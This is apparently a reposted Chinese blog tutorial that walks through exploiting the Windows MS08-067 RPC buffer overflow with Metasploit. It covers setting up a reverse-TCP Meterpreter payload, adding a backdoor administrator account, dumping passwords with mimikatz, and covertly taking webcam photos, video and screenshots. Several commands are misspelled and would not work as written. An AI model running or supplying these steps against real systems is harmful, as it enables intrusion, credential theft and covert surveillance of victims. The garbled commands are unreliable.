ms08-067

标签：服务   snap   alt   摄像头   list   arch   ip地址   加载   search   

# ms08-067漏洞攻击

• 1.通过命令： ipconfig、ifconfig 确认攻击机和靶机在同一网段
• 2.通过ping命令确认靶机存活。
  
• 3.通过命令： msfconsole启用msf。
• 4.攻击。
  • 1.搜索漏洞，命令： search ms08-067。
  • 2.设置攻击机地址，命令：set lhost ip地址
  • 3.设置攻击机端口，命令：set lport 端口号
  • 4.设置靶机地址，命令：set rhost ip地址
  • 5.加载攻击载荷，命令：set payload windows/meterpreter/reverse_tcp。
  • 6.进行攻击：exploit/run

• 5.获得靶机权限。

• 6.后渗透利用
  • 1.查看权限 命令：gituid
  • 2.进入shell
  • 3.添加用户账号 命令：net 用户名 密码 /add
  • 4.提权:net localgroup administrators 用户名 /add
  • 5.远程登录 命令：rdesktop IP
  • 6.查看无操作时间 命令：idletime
  • 7.获取账户密码 命令：
    meterpreter> load mimikatz
meterpreter> msv
meterpreter> wdigest
  • 8.查看网络摄像头列表 命令：wencam_list
  • 9.拍照 命令：wencam_snap
  • 10.抓取视频 命令：wencam_stream
  • 11.下载文件 命令：download path/filenam path
  • 12.上传文件 命令：upload path/filename path/filename
  • 13.远程登录 命令：rdesktop 靶机ip 必须开启3389服务
  • 14.截屏 ：# load espia # screenshot

漏洞描述：

Microsoft Windows Server服务RPC请求缓冲区溢出漏洞

Windows的Server服务在处理特质RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，SYSTEM权限执行任意指令。

对于Windows 2000、XP和Server 2003，无需认证便可以利用该漏洞；
对于Windows Vista和Server 2008，可能需要认证。

ms08-067

标签：服务   snap   alt   摄像头   list   arch   ip地址   加载   search   

原文地址：https://www.cnblogs.com/Mrwuhuai/p/12162753.html